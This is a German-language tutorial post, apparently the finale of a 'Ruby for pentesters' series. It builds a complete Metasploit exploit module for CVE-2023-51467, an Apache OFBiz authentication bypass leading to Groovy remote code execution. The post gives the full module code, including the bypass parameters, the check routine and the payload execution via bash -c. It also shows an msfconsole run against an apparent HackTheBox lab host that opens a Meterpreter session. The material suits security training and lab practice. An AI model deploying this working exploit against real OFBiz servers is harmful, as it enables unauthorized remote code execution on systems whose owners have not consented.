// Ruby für Pentester · Teil 10
Als Metasploit-Modul ausliefern
Das Finale. Ein Metasploit-Modul ist nur eine Ruby-Klasse in der Form des Frameworks — also heben wir genau die OFBiz-Kette hinein und lassen uns vom Framework HTTP, Optionen, Payloads und eine Shell gratis reichen.
Du hast die ganze Kette von Grund auf geschrieben: Recon, einen Auth-Bypass, RCE, einen Listener, das Plündern, einen Cracker, eine Root-Shell, ein verpacktes Werkzeug und eine Test-Suite. Hier die Belohnung — ein Metasploit-Modul ist nichts als eine Ruby-Klasse in einer bestimmten Form. Alles, was du gelernt hast, überträgt sich direkt. Das Framework besitzt bereits die mühsamen Teile (den HTTP-Client, das Options-Parsing, die Payload-Erzeugung, das Session-Handling), also ist das Modul größtenteils die OFBiz-Logik, die du bereits geschrieben hast, in seine Slots eingerastet.
Die Form eines Moduls
Jedes Modul ist eine Klasse namens MetasploitModule, die von einer
Framework-Basis erbt und die benötigten Fähigkeiten hineinmischt:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
< Msf::Exploit::Remoteist Vererbung — dasselbeclass X < Yaus Teil 7, nur istYMetasploits Remote-Exploit-Basis, diecheck,exploit,datastoreund den Rest mitbringt.include ...HttpClientist ein Mixin: Es pfropft Methoden wiesend_request_cgidirekt in unsere Klasse, sodass wirNet::HTTPnie wieder neu aufbauen.Rankbewirbt die Zuverlässigkeit;BYPASSist dieselbe Konstante, unverändert übernommen.
Metadaten: initialize
initialize ist der Konstruktor aus Teil 7. Hier ruft er super mit einem
Metadaten-Hash — update_info — auf, der dem Framework sagt, was das Modul ist
und welche Optionen es nimmt:
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache OFBiz Authentication Bypass Groovy RCE',
'Description' => %q{
Exploits CVE-2023-51467 in Apache OFBiz. Empty credentials with
requirePasswordChange=Y bypass authentication, reaching the
ProgramExport screen, which runs attacker-supplied Groovy and yields
command execution as the ofbiz service user.
},
'Author' => ['zerodayoutlaw'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2023-51467']],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Apache OFBiz', {}]],
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true },
'DisclosureDate' => '2023-12-26'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base OFBiz path', '/'])
])
end
Dieser Hash ist nur Daten — die gleiche Art Schlüssel/Wert-Struktur aus Teil 3.
Dass wir ARCH_CMD und einen References-Eintrag für die CVE deklarieren, ist
das, was RHOST, RPORT, SSL und die Payload-Auswahl in msfconsole als
Optionen erscheinen lässt — ohne eine Zeile Parsing-Code von uns. Teil 7’s
OptionParser tat das von Hand; das Framework tut es aus Metadaten.
register_options fügt deine eigenen Optionen obendrauf. OptString.new('TARGETURI',
[true, 'Base OFBiz path', '/']) deklariert eine erforderliche String-Option namens
TARGETURI, beschrieben für --help, mit / als Voreinstellung — das
Framework-Äquivalent zu Teil 7’s opts.on('--target', ...). Der Benutzer setzt sie
mit set TARGETURI /, und wir lesen sie als target_uri.path zurück.
Die zwei Methoden, die zählen
Ein Remote-Exploit überschreibt zwei Methoden: check (ist das Ziel
verwundbar?) und exploit (feuern). Beide stützen sich auf einen kleinen Helfer,
der Groovy POSTet — genau der Zug aus Teil 3, jetzt über den HTTP-Client des
Frameworks:
def check
res = groovy("throw new Exception('id'.execute().text)")
return CheckCode::Safe unless res&.body&.include?('uid=')
print_good('OFBiz ran our Groovy — target is vulnerable')
CheckCode::Vulnerable
end
def exploit
print_status("Sending Groovy payload to #{datastore['RHOSTS']}")
groovy("throw new Exception(['bash', '-c', '#{payload.encoded}'].execute().text)")
end
def groovy(program)
uri = normalize_uri(target_uri.path, 'webtools', 'control', 'ProgramExport')
send_request_cgi(
'method' => 'POST',
'uri' => "#{uri}?#{BYPASS}",
'vars_post' => { 'groovyProgram' => program }
)
end
end
Schau, worauf jedes Stück abbildet:
groovyist Teil 3’srun, abersend_request_cgi(aus dem Mixin) ersetzt das handgebautepost—vars_postist der Formular-Hash, und das Framework erledigt Verbindung und SSL.normalize_urifügtTARGETURImit dem Screen-Pfad zu einer sauberen URL zusammen, also keine doppelten Slashes, egal was der Benutzer gesetzt hat.checkführt ein harmlosesidaus und meldetCheckCode::VulnerableoderSafe— dieselbe reflektierte Ausgabe, die wir mit einer Regex gelesen haben, jetzt standardisiert.print_good/print_statussind die Ausgabe-API des Frameworks — die grünen[+]- und blauen[*]-Zeilen, die du inmsfconsolesiehst, statt rohemputs.- In
exploitistpayload.encodedder Star: Statt eine bash-Reverse-Shell wie in Teil 4 fest zu verdrahten, erzeugt das Framework die Payload, die der Benutzer gewählt hat, und reicht uns den Kommando-String. Unser Groovy führt ihn nur aus.
Es benutzen
Metasploit lädt Module aus ~/.msf4/modules/, das seinen eigenen Baum spiegelt,
also speichere die Datei als
~/.msf4/modules/exploits/linux/http/ofbiz_groovy_rce.rb (führ reload_all in
einer offenen Konsole aus). Von da an ist sie ein vollwertiger Bürger:
msf6 > use exploit/linux/http/ofbiz_groovy_rce
msf6 exploit(ofbiz_groovy_rce) > set RHOSTS bizness.htb
msf6 exploit(ofbiz_groovy_rce) > set LHOST tun0
msf6 exploit(ofbiz_groovy_rce) > check
[+] The target is vulnerable.
msf6 exploit(ofbiz_groovy_rce) > run
[*] Sending stage...
[*] Meterpreter session 1 opened
meterpreter >
Der Listener aus Teil 4, die Payload-Verdrahtung, die Session — alles wird dir gereicht. Du lieferst nur die OFBiz-spezifische Logik, weil das der einzige Teil ist, den Metasploit nicht schon kannte.
Wo du gelandet bist
Vor zehn Teilen war das Net::HTTP.get. Du kennst jetzt Rubys Request-Client,
Methoden und Konstanten, Hashes, POST-Bodies, Regex, Sockets, Threads, Dateien,
Digest/Base64, Thread-Pools und die GVL, das Ausführen von Programmen mit
Open3 und einem PTY, Klassen und Kapselung, OptionParser, Testen mit minitest
und wie ein Metasploit-Modul zusammengesetzt wird. Wichtiger noch: Du hast sie so
gelernt, wie sie tatsächlich benutzt werden — indem du eine funktionierende
Exploit-Kette von Anfang bis Ende gebaut und in ein Werkzeug verwandelt hast, das
andere Leute laufen lassen können.
Erkenntnisse
- Ein Metasploit-Modul ist eine Ruby-Klasse (
MetasploitModule < Msf::Exploit::Remote) — Vererbung und Mixins (include), beides schlichtes Ruby. update_info-Metadaten ersetzen handgebautes Options-Parsing: DeklariereArch/Platform/Referenzen, und das Framework liefertRHOST,RPORTund Payload-Optionen gratis.- Überschreibe
checkundexploit;send_request_cgiaus demHttpClient-Mixin ersetzt deine eigeneNet::HTTP-Verrohrung, undprint_good/print_statusersetzenputs. register_options+OptStringdeklarieren deine eigenen Optionen (wieTARGETURI) — die Framework-Version von Teil 7’sOptionParser;normalize_uribaut daraus saubere Pfade.payload.encodedlässt das Framework die Payload erzeugen, sodass dein Modul nur die zielspezifische Logik trägt — die OFBiz-Kette, die du von Hand gebaut hast.
Übungen
- Zieh das Groovy-String-Bauen in einen privaten Helfer
wrap(cmd), der denthrow new Exception(...)-Payload zurückgibt, und ruf ihn auscheckundexploitauf — dieselbe Kapselungs-Lektion wie in Teil 7, jetzt in einem Modul. - Lass
checkdie erkannteid-Zeile mitprint_statusausgeben, bevor esCheckCode::Vulnerablezurückgibt, sodass du den Beweis siehst, nicht nur ein Urteil. - Füge mit
register_optionseine zweite Option hinzu — etwa einOptIntfür ein Anfrage-Timeout — und lies sie ausdatastorezurück.
Das ist die Serie. Dasselbe Ruby, das eine einmalige Anfrage skriptete, skaliert bis zum Framework-Modul — du hast jetzt die ganze Strecke zurückgelegt.